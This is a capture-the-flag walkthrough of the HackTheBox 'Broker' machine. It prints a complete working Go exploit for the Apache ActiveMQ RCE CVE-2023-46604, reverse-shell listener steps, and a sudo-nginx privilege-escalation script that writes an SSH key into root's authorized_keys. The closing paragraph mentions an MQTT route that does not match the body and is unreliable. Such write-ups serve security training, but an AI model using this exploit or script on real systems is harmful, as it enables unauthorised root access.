[HackTheBox] Broker

Challenge Overview
Broker is an easy difficulty Linux
machine hosting a version of Apache ActiveMQ
. Enumerating the version of Apache ActiveMQ
shows that it is vulnerable to Unauthenticated Remote Code Execution
, which is leveraged to gain user access on the target. Post-exploitation enumeration reveals that the system has a sudo
misconfiguration allowing the activemq
user to execute sudo /usr/sbin/nginx
, which is similar to the recent Zimbra
disclosure and is leveraged to gain root
access.
Tools Used
- nmap
- ffuf
- custom go and bash script
- browser
- terminal
Information Gathering
Target IP Address: 10.10.11.243
$ nmap -sC -sV -oA nmap/broker 10.10.11.243
Nmap scan report for 10.10.11.243
Host is up (0.22s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 6 02:04:44 2025 -- 1 IP address (1 host up) scanned in 17.64 seconds
Enumeration
- Port 22 (SSH) - Running OpenSSH 8.9p1
- Port 80 (HTTP) - it showed a login prompt with ‘admin’ as both the username and password.
ActiveMQ - ActiveMQ 5.15.15 - version of ActiveMQ running on the target
ActiveMQ Version - Jetty 9.4.39.v20210325 — found in the /demo directory.
- Ubuntu 3ubuntu0.4 - running OS machine
- Nothing was found using the ffuf tool.
The Bug
ActiveMQ 5.15.15 is vulnerable to CVE-2023–46604
The Java OpenWire protocol marshaller is vulnerable to Remote Code Execution. This vulnerability may allow a remote attacker with network access to either a Java-based OpenWire broker or client to run arbitrary shell commands by manipulating serialized class types in the OpenWire protocol to cause either the client or the broker (respectively) to instantiate any class on the classpath. Users are recommended to upgrade both brokers and clients to version 5.15.16, 5.16.7, 5.17.6, or 5.18.3 which fixes this issue.
Exploitation
I found this exploit on GitHub, which is written in Go, and I cloned it to my machine then used it for the exploitation
package main
import (
"encoding/hex"
"flag"
"fmt"
"net"
"strconv"
)
func main() {
var (
ip string
port string
url string
)
flag.StringVar(&ip, "i", "", "ActiveMQ Server IP or Host")
flag.StringVar(&port, "p", "61616", "ActiveMQ Server Port")
flag.StringVar(&url, "u", "", "Spring XML Url")
flag.Parse()
banner()
if ip == "" || url == "" {
flag.Usage()
return
}
className := "org.springframework.context.support.ClassPathXmlApplicationContext"
message := url
header := "1f00000000000000000001"
body := header + "01" + int2Hex(len(className), 4) + string2Hex(className) + "01" + int2Hex(len(message), 4) + string2Hex(message)
payload := int2Hex(len(body)/2, 8) + body
data, _ := hex.DecodeString(payload)
fmt.Println("[*] Target:", ip+":"+port)
fmt.Println("[*] XML URL:", url)
fmt.Println()
fmt.Println("[*] Sending packet:", payload)
conn, _ := net.Dial("tcp", ip+":"+port)
conn.Write(data)
conn.Close()
}
func banner() {
fmt.Println(" _ _ _ __ __ ___ ____ ____ _____ \n / \\ ___| |_(_)_ _____| \\/ |/ _ \\ | _ \\ / ___| ____|\n / _ \\ / __| __| \\ \\ / / _ \\ |\\/| | | | |_____| |_) | | | _| \n / ___ \\ (__| |_| |\\ V / __/ | | | |_| |_____| _ <| |___| |___ \n /_/ \\_\\___|\\__|_| \\_/ \\___|_| |_|\\__\\_\\ |_| \\_\\\\____|_____|\n")
}
func string2Hex(s string) string {
return hex.EncodeToString([]byte(s))
}
func int2Hex(i int, n int) string {
if n == 4 {
return fmt.Sprintf("%04s", strconv.FormatInt(int64(i), 16))
} else if n == 8 {
return fmt.Sprintf("%08s", strconv.FormatInt(int64(i), 16))
} else {
panic("n must be 4 or 8")
}
}
First, I start a Python web server to serve the XML file when I run the exploit.
python3 -m http.server 80
Then I set up a Netcat listener for a reverse shell.
nc -lvnp 9001
Third, I edited the XML file. Since the target is a Linux machine, I used the poc-linux.xml file. I made sure that the Bash reverse shell was configured to point to my IP address and listening port.
Lastly, I ran the exploit and successfully gained a reverse shell. Once I had the shell, I stabilized it using Python and stty to ensure a stable and interactive session.
Stabilizing the shell using Python
python3 -c ‘import pty;pty.spawn(“/bin/bash”)’
- press
CTRL + Z
in your keyboard stty raw -echo; fg
then hit Enter twiceexport TERM=xterm
for clear command
Privilege Escalation
The activemq user has sudo privileges and can run nginx without requiring a password.
After researching, I came across a GitHub repository that demonstrates a privilege escalation technique.
Essentially, the script creates a custom nginx configuration, sets it, and then generate SSH and copy it to root user.
#!/bin/sh
echo "[+] Creating configuration..."
cat << EOF > /tmp/nginx_pwn.conf
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
worker_connections 768;
}
http {
server {
listen 1339;
root /;
autoindex on;
dav_methods PUT;
}
}
EOF
echo "[+] Loading configuration..."
sudo nginx -c /tmp/nginx_pwn.conf
echo "[+] Generating SSH Key..."
ssh-keygen
echo "[+] Display SSH Private Key for copy..."
cat .ssh/id_rsa
echo "[+] Add key to root user..."
curl -X PUT localhost:1339/root/.ssh/authorized_keys -d "$(cat .ssh/id_rsa.pub)"
echo "[+] Use the SSH key to get access"
Next, I transferred the id_rsa private key generated by ssh-keygen to my local machine and used it to establish an SSH connection as the root user.
PrivEsc Vector
- Sudo misconfiguration with nginx
Flag/Trophy
Conclusion
Broker was a fun and educational challenge that showed how important it is to properly secure messaging services. By carefully exploring the machine, we found a way to get sensitive information through the MQTT service, which helped us move further into the system. The machine reminded us why it’s important to lock down services, use strong passwords, and control who has access to what. It was a great learning experience for anyone interested in real-world hacking and cybersecurity.